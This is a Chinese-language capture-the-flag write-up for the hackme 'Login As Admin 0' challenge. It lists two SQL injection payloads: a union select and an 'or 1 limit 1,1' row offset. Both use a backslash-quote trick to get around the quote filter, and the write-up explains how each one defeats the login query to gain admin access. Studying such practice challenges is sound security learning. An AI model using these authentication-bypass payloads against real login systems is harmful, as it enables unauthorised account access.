hackme_Login As Admin 0
先上payload, 再說原理
1、
Username:\' union select 1,1,1,1#
Password:a
2、
Username:\' or 1 limit1,1#
Password:a
下面是分析講解:
首先,點選Source Code按鈕檢視原始碼
可以得到以下資訊:
1、過濾了單引號,可以用\'來繞過濾
2、user表中四個列:id,user,pass,is_admin
3、SQL語句:
$sql = sprintf("SELECT * FROM `user` WHERE `user` = '%s' AND `password` = '%s'", $_POST['name'], $_POST['password']);
4、Password不能為空
一、Payload1分析:
我們的目的是以admin身份登入,那麼伺服器如何來判斷我們是不是admin呢?
拉到最後來看:
可以看到,最重要的是就是is_admin這個欄位,所以我們來進行變數覆蓋注入(我自己取的名字、、請大佬指正)
padload提交後,提交的SQL語句是:
SELECT * FROM 'user' WHERE 'user' = '' union select 1,1,1,1 # AND `password` = 'a';
執行的是:
SELECT 1,1,1,1 FROM ’user‘;
那我們得到了一個$user的例項,其中最關鍵的就是第4個變數值是1
二、Payload2分析:
第二種其實也是老套路,我管他叫“限制查詢注入”(自己取的名字、、請大佬指正)
首先構造Payload:
Username:\' or 1#
Password:a
這句話提交上去相當於:
SELECT * FROM 'user' WHERE 1
顯然,我們會得到整個user表。
但是隻有整張表的第一個會被驗證,所以這個payload提交上去發現我們不是管理員而是guest,猜想admin應該是在下一條資料
所以我們讓offset=1,構造payload:
Username:\' or 1 limit 1,1#
Password:a